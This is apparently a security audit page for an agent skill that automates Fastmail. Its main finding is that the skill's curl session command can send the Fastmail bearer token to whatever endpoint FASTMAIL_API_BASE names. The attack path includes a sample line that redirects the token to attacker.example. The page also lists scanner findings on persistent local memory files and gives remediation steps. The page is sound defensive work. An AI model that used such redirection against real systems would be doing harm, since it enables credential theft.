Back to skill

Security audit

Fastmail API

Security checks for vulnerabilities and agentic risk

Overview

This Fastmail automation skill is mostly coherent, but it should be reviewed because its session command can send the Fastmail bearer token to an endpoint controlled by an environment variable.

Review this skill before installing. Use a narrowly scoped Fastmail API token, make sure FASTMAIL_API_BASE is unset or restricted to the official Fastmail session URL, and understand that the skill will create persistent local records under ~/Clawic/data for account ids, mailbox ids, operations, snapshots, bookings, contacts, domains, and subscriptions. Revoke the token immediately if it may have been sent to a non-Fastmail endpoint.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
session.md:12
Finding

Fastmail Bearer Token Can Be Sent to an Arbitrary Endpoint

Content
View full analysis

Vulnerability Details

File Location: session.md, lines 12–13
Vulnerability Type: Unrestricted credential destination
Risk Level: High

Vulnerable Code

bash
curl -sS "${FASTMAIL_API_BASE:-https://api.fastmail.com/jmap/session}" \
  -H "Authorization: Bearer $FASTMAIL_API_TOKEN" | jq

Technical Analysis

The session-discovery command uses the externally controlled FASTMAIL_API_BASE environment variable as the request destination without validating its scheme, hostname, port, or origin. The command then unconditionally attaches the complete Fastmail bearer token in the Authorization header.

An attacker or compromised process capable of controlling this environment variable can redirect the authenticated request to an attacker-operated endpoint. The endpoint may also return malicious JMAP session metadata, including attacker-controlled apiUrl, uploadUrl, downloadUrl, and eventSourceUrl values. If those values are trusted, later requests could disclose mailbox queries, message or attachment blobs, contact and calendar data, and additional authenticated traffic.

This conflicts with the security statement in SKILL.md that only official Fastmail endpoints are used. Supporting a non-Fastmail JMAP server may be legitimate functionality, but forwarding a Fastmail token to an unvalidated destination exceeds the minimum privilege necessary for the declared Fastmail integration.

Attack Path

  1. An attacker gains influence over the environment used to invoke the Skill, such as through a wrapper, launcher configuration, inherited shell environment, or compromised automation.
  2. The attacker sets:
    bash
    FASTMAIL_API_BASE=https://attacker.example/jmap/session
    
  3. The Skill executes the documented session-discovery command.
  4. curl connects to the attacker-controlled server and sends:
    http
    Authorization: Bearer <FASTMAIL_API_TOKEN>
    
  5. The atta ...[truncated 1023 chars]
Remediation
View remediation

Remediation Suggestions

  1. Remove the FASTMAIL_API_BASE override from this Fastmail-specific command and use a fixed endpoint:

    bash
    SESSION_URL="https://api.fastmail.com/jmap/session"
    curl --fail-with-body --silent --show-error "$SESSION_URL" \
      -H "Authorization: Bearer $FASTMAIL_API_TOKEN" | jq
    
  2. If alternate JMAP servers are required, use a separate credential explicitly associated with the selected server. Never send FASTMAIL_API_TOKEN to a non-Fastmail origin.

  3. Require explicit user approval before changing the JMAP server, rather than accepting an inherited environment variable silently.

  4. Enforce HTTPS and reject:

    • Plain HTTP URLs
    • URLs containing embedded credentials
    • Unexpected ports
    • Redirects to untrusted origins
    • Hostnames outside an explicit allowlist
  5. Disable redirects or validate every redirect target before forwarding the authorization header.

  6. Validate all service URLs returned by the session response. For a Fastmail token, require apiUrl, uploadUrl, downloadUrl, and eventSourceUrl to use HTTPS and an approved Fastmail origin before transmitting credentials or account data.

  7. Keep separate trust policies for Fastmail and generic JMAP operation. A user-configured generic JMAP endpoint should have its own endpoint-bound token and should not inherit Fastmail credentials.

  8. Add a fail-closed check before the request, for example:

    bash
    SESSION_URL="${FASTMAIL_API_BASE:-https://api.fastmail.com/jmap/session}"
    
    case "$SESSION_URL" in
      https://api.fastmail.com/jmap/session) ;;
      *)
        printf '%s\n' "Refusing to send FASTMAIL_API_TOKEN to an untrusted endpoint." >&2
        exit 1
        ;;
    esac
    
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (6)

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
93% confidence
Finding

The skill instructs the agent to write reservation details to local files under ~/Clawic/data/bookings and to consult local config/profile files before calendar writes. That expands the skill from Fastmail API operations into local filesystem read/write and persistent data storage, which can expose sensitive travel or booking data, create unauthorized side effects, and violate least-privilege expectations for an API-focused skill.

Content

No source excerpt is available for this finding.

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · memory-template.md (reported line 52)May include surrounding context.

md
## Start flat, split only when it hurts

Everything except artifacts, snapshots, operation logs and the shared boxes begins inside `memory.md`. Splitting is a procedure carried out by whichever agent is about to write the entry that crosses the threshold — never deferred, never proposed to the user:

1. Before appending to a section, count its entries.
2. If the append would take it past **~15 entries or ~40 lines of real content** — scaffolding, headings and comments do not count — then, in the same turn: create the new file in `~/Clawic/data/fastmail-api/`, move the whole section into it, **delete the section from `memory.md`**, add its line to `## Boxes`, and append the new entry to the new file.

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 169)May include surrounding context.

The Session Call

bash
curl -sS "${FASTMAIL_API_BASE:-https://api.fastmail.com/jmap/session}" \
  -H "Authorization: Bearer $FASTMAIL_API_TOKEN" | jq

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · SKILL.md (reported line 220)May include surrounding context.

The Session Call

bash
curl -sS "${FASTMAIL_API_BASE:-https://api.fastmail.com/jmap/session}" \
  -H "Authorization: Bearer $FASTMAIL_API_TOKEN" | jq

External Transmission

Medium
Category
Data Exfiltration
Confidence
50% confidence
Finding

Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Content

Scanner excerpt · session.md (reported line 12)May include surrounding context.

The Session Call

bash
curl -sS "${FASTMAIL_API_BASE:-https://api.fastmail.com/jmap/session}" \
  -H "Authorization: Bearer $FASTMAIL_API_TOKEN" | jq

Context-Inappropriate Capability

Low
Category
Not specified by scanner
Confidence
86% confidence
Finding

The instruction to record calendar IDs, names, and rights verdicts into a shared memory file creates persistent local state outside the Fastmail API itself. While the data is less sensitive than message or booking content, it still broadens the skill's authority, can leak account structure or sharing permissions, and introduces unnecessary cross-turn persistence that another component could later misuse.

Content

No source excerpt is available for this finding.

Static analysis

Detected: suspicious.exposed_secret_literal

File appears to expose a hardcoded API secret or token.

Critical
Code
suspicious.exposed_secret_literal
Location
memory-template.md:71